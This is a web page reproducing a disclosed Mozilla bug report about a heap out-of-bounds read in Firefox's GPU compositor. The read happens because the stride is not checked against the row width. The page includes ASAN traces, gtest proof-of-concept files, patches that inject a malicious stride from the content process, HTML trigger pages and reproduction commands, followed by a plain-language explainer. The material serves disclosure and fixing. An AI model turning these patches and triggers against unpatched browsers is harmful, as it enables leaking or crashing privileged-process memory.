Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4713

Stride < Width Validation Gap — Heap OOB Read in GPU/Compositor

The compositor's shared-surface and YCbCr buffer size checks validated that stride times height fitted in shared memory but never checked that stride was at least width times bytes-per-pixel. A compromised content process could send a tiny stride for a wide surface, causing WebRender or libyuv to read past the end of the heap buffer.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 13 days
  • Paid in 19 days
  • Disclosed after 13 days

Compromised content process -> GPU/compositor (or parent without GPU process). Two IPC paths: RGBA shared surfaces and YCbCr video textures.

ComputeYCbCrBufferSize and SourceSurfaceSharedDataWrapper::Init validate stride * height <= shmem but never check stride >= width * bpp. A content process sends stride=4 for a wide surface. The shmem check passes. WebRender or libyuv reads width * bpp bytes per row from stride-sized rows — heap OOB read.

The Bug

ComputeYCbCrBufferSize (ImageDataSerializer.cpp:62-77) checks stride*height fits but not stride >= width:

C++
uint32_t ComputeYCbCrBufferSize(const gfx::IntSize& aYSize, int32_t aYStride,
                                const gfx::IntSize& aCbCrSize,
                                int32_t aCbCrStride) {
  if (!gfx::Factory::AllowedSurfaceSize(IntSize(aYStride, aYSize.height)) ||
      !gfx::Factory::AllowedSurfaceSize(
          IntSize(aCbCrStride, aCbCrSize.height))) {
    return 0;
  }
  // stride*height only -- never stride >= width
  return GetAlignedStride<4>(aYSize.height, aYStride) +
         2 * GetAlignedStride<4>(aCbCrSize.height, aCbCrStride);
}

SourceSurfaceSharedDataWrapper::Init (SourceSurfaceSharedData.cpp:33) stores stride without checking width*bpp:

C++
mSize = aSize;
mStride = aStride;  // stored without validation against width*bpp
size_t len = GetAlignedDataLength();  // = PageAlignedSize(stride * height)
// EnsureMapped(len) checks shmem >= len, nothing more

CreateWrappingDataSourceSurface (Factory.cpp:888) has zero stride validation — its own comment says it skips checks:

C++
// Just check for negative/zero size instead of the full AllowedSurfaceSize()
// - since the data is already allocated we do not need to check for a
// possible overflow - it already worked.
if (aSize.width <= 0 || aSize.height <= 0) {
  return nullptr;
}

RGBA path: content sends PCompositorManager::AddSharedSurface with stride=4 for a 100-wide B8G8R8A8 surface. 40-byte shmem. WebRender reads 400 bytes/row.

YCbCr path: RenderBufferTextureHost::Lock (RenderBufferTextureHost.cpp:80) passes IPC stride straight to CreateWrappingDataSourceSurface:

C++
mYSurface = gfx::Factory::CreateWrappingDataSourceSurface(
    ImageDataSerializer::GetYChannel(GetBuffer(), desc),
    desc.yStride(),          // IPC-controlled, never validated
    desc.display().Size(),   // actual pixel dimensions
    gfx::SurfaceFormat::A8);

Content/RDD sends yStride=4 for a 4096-wide Y plane. 16-byte shmem. libyuv reads 4096 bytes/row.

ASAN Proof

RGBA path:

==6668==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400079dbf8 at pc 0x00010068b9b4
READ of size 400 at 0x60400079dbf8 thread T0
    #0 __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f9b0)
    #1 SharedSurfaceStrideOOB_WrapStrideLessThanRowBytes_Test::TestBody() (XUL:arm64+0x1721b30)

0x60400079dbf8 is located 0 bytes after 40-byte region [0x60400079dbd0,0x60400079dbf8)
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x1721b30) in SharedSurfaceStrideOOB_WrapStrideLessThanRowBytes_Test::TestBody()

YCbCr path (guard page):

==10911==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0003115392e4 T0)
==10911==The signal is caused by a READ memory access.
    #0 I422ToARGBRow_NEON+0x18 (XUL:arm64+0x115392e4)
    #1 mozilla::gfx::ConvertYCbCrToRGB32(...) (XUL:arm64+0x5fb2a1c)
    #2 mozilla::gfx::ConvertYCbCrToRGB(...) (XUL:arm64+0x5fae4b8)
    #3 mozilla::layers::ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(...) (XUL:arm64+0x610d5a4)
    #4 YCbCrStrideOOB_ConversionOOBRead_GuardPage_Test::TestBody() (XUL:arm64+0x1727e80)

SIGBUS on arm64 because libyuv NEON does a wide SIMD load from the 16-byte buffer past the guard page. On x86 this reports heap-buffer-overflow READ.

PoC

gfx/tests/gtest/TestSharedSurfaceStrideOOB.cpp:

C++
#include "gtest/gtest.h"
#include "2D.h"
#include "DataSurfaceHelpers.h"
#include <cstring>

using namespace mozilla::gfx;

TEST(SharedSurfaceStrideOOB, WrapStrideLessThanRowBytes) {
  const int32_t width = 100;
  const int32_t height = 10;
  const SurfaceFormat format = SurfaceFormat::B8G8R8A8;
  const int32_t bpp = BytesPerPixel(format);
  const int32_t maliciousStride = 4;

  const size_t bufSize = static_cast<size_t>(height) * maliciousStride;
  const size_t rowBytes = static_cast<size_t>(width) * bpp;

  uint8_t* buf = new uint8_t[bufSize];
  memset(buf, 0xBB, bufSize);

  RefPtr<DataSourceSurface> surface = Factory::CreateWrappingDataSourceSurface(
      buf, maliciousStride, IntSize(width, height), format);
  ASSERT_NE(surface, nullptr);

  DataSourceSurface::MappedSurface map;
  bool mapped = surface->Map(DataSourceSurface::MapType::READ, &map);
  ASSERT_TRUE(mapped);

  volatile uint8_t dstRow[512];
  memset((void*)dstRow, 0, sizeof(dstRow));
  // Reads 400 bytes from 40-byte buffer
  memcpy((void*)dstRow, map.mData, rowBytes);

  surface->Unmap();
  delete[] buf;
}

TEST(SharedSurfaceStrideOOB, YCbCrStrideLessThanWidth) {
  const int32_t width = 1000;
  const int32_t height = 1000;
  const SurfaceFormat format = SurfaceFormat::A8;
  const int32_t maliciousStride = 1;

  const size_t bufSize = static_cast<size_t>(height) * maliciousStride;

  uint8_t* buf = new uint8_t[bufSize];
  memset(buf, 0xCC, bufSize);

  RefPtr<DataSourceSurface> surface = Factory::CreateWrappingDataSourceSurface(
      buf, maliciousStride, IntSize(width, height), format);
  ASSERT_NE(surface, nullptr);

  DataSourceSurface::MappedSurface map;
  bool mapped = surface->Map(DataSourceSurface::MapType::READ, &map);
  ASSERT_TRUE(mapped);

  volatile uint8_t dst[1024];
  memset((void*)dst, 0, sizeof(dst));
  uint8_t* row999 = map.mData + 999 * maliciousStride;
  memcpy((void*)dst, row999, static_cast<size_t>(width));

  surface->Unmap();
  delete[] buf;
}

gfx/tests/gtest/TestYCbCrStrideOOB.cpp:

C++
#include "gtest/gtest.h"
#include "mozilla/gfx/2D.h"
#include "mozilla/layers/ImageDataSerializer.h"
#include "mozilla/layers/TextureHost.h"
#include "mozilla/layers/BufferTexture.h"
#include "ImageContainer.h"
namespace libyuv {
extern "C" int MaskCpuFlags(int enable_flags);
}

#include <sys/mman.h>
#include <unistd.h>

using namespace mozilla;
using namespace mozilla::gfx;
using namespace mozilla::layers;

TEST(YCbCrStrideOOB, ValidationBypass) {
  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);

  // 16 bytes accepted for a 4096-wide surface
  EXPECT_EQ(reqSize, 16u);
}

TEST(YCbCrStrideOOB, ConversionOOBRead_ASAN) {
  libyuv::MaskCpuFlags(0);

  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_EQ(reqSize, 16u);


  uint8_t* buffer = new uint8_t[reqSize];
  memset(buffer, 0xAA, reqSize);

  YCbCrDescriptor desc(IntRect(0, 0, 4096, 2), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);

  RefPtr<DataSourceSurface> result =
      ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(
          buffer, desc, nullptr);

  delete[] buffer;
  libyuv::MaskCpuFlags(-1);
}

TEST(YCbCrStrideOOB, ConversionOOBRead_GuardPage) {
  long pageSize = sysconf(_SC_PAGESIZE);
  ASSERT_GT(pageSize, 0);

  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;
  uint32_t reqSize = 16;

  void* base = mmap(nullptr, pageSize * 2, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  ASSERT_NE(base, MAP_FAILED);

  int ret = mprotect((char*)base + pageSize, pageSize, PROT_NONE);
  ASSERT_EQ(ret, 0);

  uint8_t* buffer = (uint8_t*)base + pageSize - reqSize;
  memset(buffer, 0xBB, reqSize);

  YCbCrDescriptor desc(IntRect(0, 0, 4096, 2), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);

  RefPtr<DataSourceSurface> result =
      ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(
          buffer, desc, nullptr);

  munmap(base, pageSize * 2);
}

IPC patch (RGBA) — pocs/shared_surface_stride_oob_ipc.patch:

Diff
diff --git a/gfx/layers/ipc/SharedSurfacesChild.cpp b/gfx/layers/ipc/SharedSurfacesChild.cpp
index c168ba7f2e8a..462b559779a3 100644
--- a/gfx/layers/ipc/SharedSurfacesChild.cpp
+++ b/gfx/layers/ipc/SharedSurfacesChild.cpp
@@ -244,9 +244,19 @@ nsresult SharedSurfacesChild::ShareInternal(SourceSurfaceSharedData* aSurface,
       "bad format");

   data->MarkShared(manager->GetNextExternalImageId());
+
+  int32_t fakeStride = 4;
+  fprintf(stderr, "[PoC] SharedSurface stride override: %d -> %d, "
+          "size=%dx%d format=%d\n",
+          aSurface->Stride(), fakeStride,
+          aSurface->GetSize().width, aSurface->GetSize().height, (int)format);
   manager->SendAddSharedSurface(
       data->Id(),
-      SurfaceDescriptorShared(aSurface->GetSize(), aSurface->Stride(), format,
+      SurfaceDescriptorShared(aSurface->GetSize(), fakeStride, format,
                               std::move(handle)));
   *aUserData = data;
   return NS_OK;

IPC patch (YCbCr) — pocs/ycbcr_stride_oob_ipc.patch:

Diff
diff --git a/gfx/layers/BufferTexture.cpp b/gfx/layers/BufferTexture.cpp
index 822e5729fcd0..52e6e6c060f2 100644
--- a/gfx/layers/BufferTexture.cpp
+++ b/gfx/layers/BufferTexture.cpp
@@ -9,6 +9,7 @@
 #include <utility>

 #include "libyuv.h"
+#include "nsXULAppAPI.h"
 #include "mozilla/fallible.h"
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/Logging.h"
@@ -159,8 +160,23 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
     gfx::ColorDepth aColorDepth, gfx::YUVColorSpace aYUVColorSpace,
     gfx::ColorRange aColorRange, gfx::ChromaSubsampling aSubsampling,
     TextureFlags aTextureFlags) {
+  uint32_t yStride = aYStride;
+  uint32_t cbCrStride = aCbCrStride;
+  if (!XRE_IsParentProcess()) {
+    yStride = 4;
+    cbCrStride = 4;
+    fprintf(stderr, "[PoC] YCbCr stride override: yStride %u->4, "
+            "cbCrStride %u->4, display=%dx%d, ySize=%dx%d\n",
+            aYStride, aCbCrStride, aDisplay.width, aDisplay.height,
+            aYSize.width, aYSize.height);
+  }
+
   uint32_t bufSize = ImageDataSerializer::ComputeYCbCrBufferSize(
-      aYSize, aYStride, aCbCrSize, aCbCrStride);
+      aYSize, yStride, aCbCrSize, cbCrStride);
   if (bufSize == 0) {
     return nullptr;
   }
@@ -168,12 +184,12 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
   uint32_t yOffset;
   uint32_t cbOffset;
   uint32_t crOffset;
-  ImageDataSerializer::ComputeYCbCrOffsets(aYStride, aYSize.height, aCbCrStride,
+  ImageDataSerializer::ComputeYCbCrOffsets(yStride, aYSize.height, cbCrStride,
                                            aCbCrSize.height, yOffset, cbOffset,
                                            crOffset);

   YCbCrDescriptor descriptor =
-      YCbCrDescriptor(aDisplay, aYSize, aYStride, aCbCrSize, aCbCrStride,
+      YCbCrDescriptor(aDisplay, aYSize, yStride, aCbCrSize, cbCrStride,
                       yOffset, cbOffset, crOffset, aStereoMode, aColorDepth,
                       aYUVColorSpace, aColorRange, aSubsampling);

HTML PoC (RGBA) — pocs/shared_surface_stride_oob_ipc.html:

HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SharedSurfacesParent Stride Mismatch OOB Read</title>
</head>
<body>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('SharedSurfacesParent::Add Stride < Width*BPP OOB Read');
msg('Content -> GPU/compositor via PCompositorManager');

const sizes = [[200, 200], [400, 300], [100, 500]];
let loaded = 0;

for (const [w, h] of sizes) {
  const canvas = document.createElement('canvas');
  canvas.width = w;
  canvas.height = h;
  const ctx = canvas.getContext('2d');
  ctx.fillStyle = '#ff0000';
  ctx.fillRect(0, 0, w, h);

  canvas.toBlob(function(blob) {
    const img = document.createElement('img');
    img.onload = function() {
      loaded++;
      document.body.appendChild(img);
      if (loaded === sizes.length) msg('All images composited. Check ASAN.');
    };
    img.src = URL.createObjectURL(blob);
  }, 'image/png');
}
</script>
</body>
</html>

HTML PoC (YCbCr) — pocs/ycbcr_stride_oob_ipc.html:

HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>YCbCr Stride Mismatch OOB Read</title>
</head>
<body>
<video id="v" width="320" height="240" autoplay muted loop></video>
<canvas id="c" width="320" height="240"></canvas>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('YCbCr Stride Mismatch OOB Read');
msg('Content/RDD -> GPU via PImageBridge');

const video = document.getElementById('v');
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

async function run() {
  const srcCanvas = document.createElement('canvas');
  srcCanvas.width = 64;
  srcCanvas.height = 64;
  const srcCtx = srcCanvas.getContext('2d');

  const stream = srcCanvas.captureStream(30);
  const recorder = new MediaRecorder(stream, { mimeType: 'video/webm' });
  const chunks = [];
  recorder.ondataavailable = (e) => chunks.push(e.data);
  const stopped = new Promise(r => { recorder.onstop = () => r(new Blob(chunks, { type: 'video/webm' })); });

  recorder.start();
  for (let i = 0; i < 30; i++) {
    srcCtx.fillStyle = `hsl(${i * 12}, 80%, 50%)`;
    srcCtx.fillRect(0, 0, 64, 64);
    await new Promise(r => setTimeout(r, 33));
  }
  recorder.stop();
  const blob = await stopped;

  video.src = URL.createObjectURL(blob);
  await video.play();
  msg('Video playing. Check ASAN.');

  for (let i = 0; i < 30; i++) {
    await new Promise(r => setTimeout(r, 100));
    ctx.drawImage(video, 0, 0);
  }
}

run();
</script>
</body>
</html>

Reproduce:

Bash
# RGBA path:
git apply pocs/shared_surface_stride_oob_ipc.patch
./mach build
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/shared_surface_stride_oob_ipc.html

# YCbCr path:
git apply pocs/ycbcr_stride_oob_ipc.patch
./mach build
./mach run -- http://localhost:8766/ycbcr_stride_oob_ipc.html

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the size validation only checked total buffer length (stride times height) and omitted the per-row invariant that stride must be at least width times bytes-per-pixel.

Impact

A compromised content process could cause out-of-bounds heap reads in the GPU/compositor process, potentially leaking memory contents or crashing it; the text demonstrates reads only, not writes or code execution.

What the attacker needed

Compromised content process; or parent process without GPU process

The fix

The stride should be validated against width times bytes-per-pixel in the size and wrapping-surface checks before the buffer is used.

How it was found

  1. Apply the IPC patch that overrides the shared-surface stride to a small value.
  2. Build the browser and serve the HTML proof-of-concept page locally.
  3. Load the page so canvases are composited through the shared-surface path.
  4. Observe the AddressSanitizer heap-buffer-overflow report.
  5. Apply the YCbCr IPC patch, rebuild, and load the video proof-of-concept page.
  6. Observe the out-of-bounds read in the YCbCr conversion path.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A surface is an image held in memory, and 'stride' is how many bytes each row of the image takes up. The code checked that the total buffer was big enough for the claimed row length, but not that each row was wide enough for the pixels it was supposed to hold. So a malicious process could claim very short rows for a very wide image, and the code that reads the image would run off the end of the buffer.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.